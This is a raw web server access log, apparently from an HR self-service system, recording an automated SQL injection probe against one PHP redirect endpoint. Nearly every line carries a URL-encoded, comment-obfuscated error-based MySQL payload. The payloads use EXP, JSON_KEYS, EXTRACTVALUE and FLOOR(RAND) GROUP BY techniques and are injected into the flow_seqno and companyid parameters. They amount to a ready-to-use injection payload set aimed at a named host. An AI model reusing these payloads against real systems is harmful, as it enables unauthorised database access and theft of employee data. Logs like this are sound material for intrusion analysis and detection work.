100.64.0.1 - - [07/Sep/2025:02:22:57 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x64765238%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5649767a%29%29x%29%29%23%2F%2A%2A%2F72Hn&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:57 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x53487472%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x44694d78%29%29%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2Fkn99%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:57 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:57 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x49337675%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x48375a67%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%23%2F%2A%2A%2FseoH&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:57 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x49337675%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x48375a67%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%23%2F%2A%2A%2FseoH&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:57 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29ANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x75375458%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7a6e6e5a%29%29%2C1%29%23%2F%2A%2A%2FXfM3&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:57 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29ANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x75375458%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7a6e6e5a%29%29%2C1%29%23%2F%2A%2A%2FXfM3&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:57 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x446b6158%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x39527a61%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FLuQK%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:57 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x446b6158%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x39527a61%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FLuQK%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:57 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x63317078%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x587a6363%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%23%2F%2A%2A%2FKVsL&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:57 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x63317078%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x587a6363%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%23%2F%2A%2A%2FKVsL&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:57 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29ORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x6c347773%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x42664966%29%29%2C1%29%23%2F%2A%2A%2FvDtC&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:57 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29ORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x6c347773%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x42664966%29%29%2C1%29%23%2F%2A%2A%2FvDtC&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:57 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x75704c58%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x685a6a5a%29%29x%29%29%23%2F%2A%2A%2F3hob&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:57 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x75704c58%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x685a6a5a%29%29x%29%29%23%2F%2A%2A%2F3hob&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:57 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x374d4943%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6e333534%29%29x%29%29%23%2F%2A%2A%2FBi4m&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:57 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x374d4943%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6e333534%29%29x%29%29%23%2F%2A%2A%2FBi4m&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:57 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x416b6c55%2C%28NULL%29%2C0x30794e61%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FCqGN%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:57 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x416b6c55%2C%28NULL%29%2C0x30794e61%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FCqGN%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:57 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x30524767%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7770706a%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%23%2F%2A%2A%2FLRqR&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:57 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x30524767%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7770706a%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%23%2F%2A%2A%2FLRqR&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:57 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29ANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x627a6161%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x784e5179%29%29%2C1%29%23%2F%2A%2A%2F5Gp9&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:57 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29ANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x627a6161%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x784e5179%29%29%2C1%29%23%2F%2A%2A%2F5Gp9&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:57 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x54636343%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x686d7277%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%23%2F%2A%2A%2FVb6s&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:57 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x54636343%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x686d7277%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%23%2F%2A%2A%2FVb6s&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:57 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x4b576861%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x446a6e70%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%23%2F%2A%2A%2FyM3w&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:57 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x4b576861%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x446a6e70%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%23%2F%2A%2A%2FyM3w&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:57 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29ORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x64735379%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6f30346f%29%29%2C1%29%23%2F%2A%2A%2FZ4Pm&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:57 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29ORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x64735379%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6f30346f%29%29%2C1%29%23%2F%2A%2A%2FZ4Pm&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:57 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x6a303477%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x74696459%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%23%2F%2A%2A%2Fk6S6&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:57 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x6a303477%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x74696459%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%23%2F%2A%2A%2Fk6S6&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:57 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:57 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:57 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x6a37336d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4b4c304e%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%23%2F%2A%2A%2FmpkT&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:57 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x6a37336d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4b4c304e%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%23%2F%2A%2A%2FmpkT&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:57 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x59626164%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x654b5443%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%23%2F%2A%2A%2FxaCP&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:57 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x59626164%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x654b5443%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%23%2F%2A%2A%2FxaCP&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:57 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x694f6552%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x69577155%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%23%2F%2A%2A%2FyjbP&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:57 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x694f6552%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x69577155%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%23%2F%2A%2A%2FyjbP&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:57 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x504d4b70%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6b64776a%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%23%2F%2A%2A%2FTL5f&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
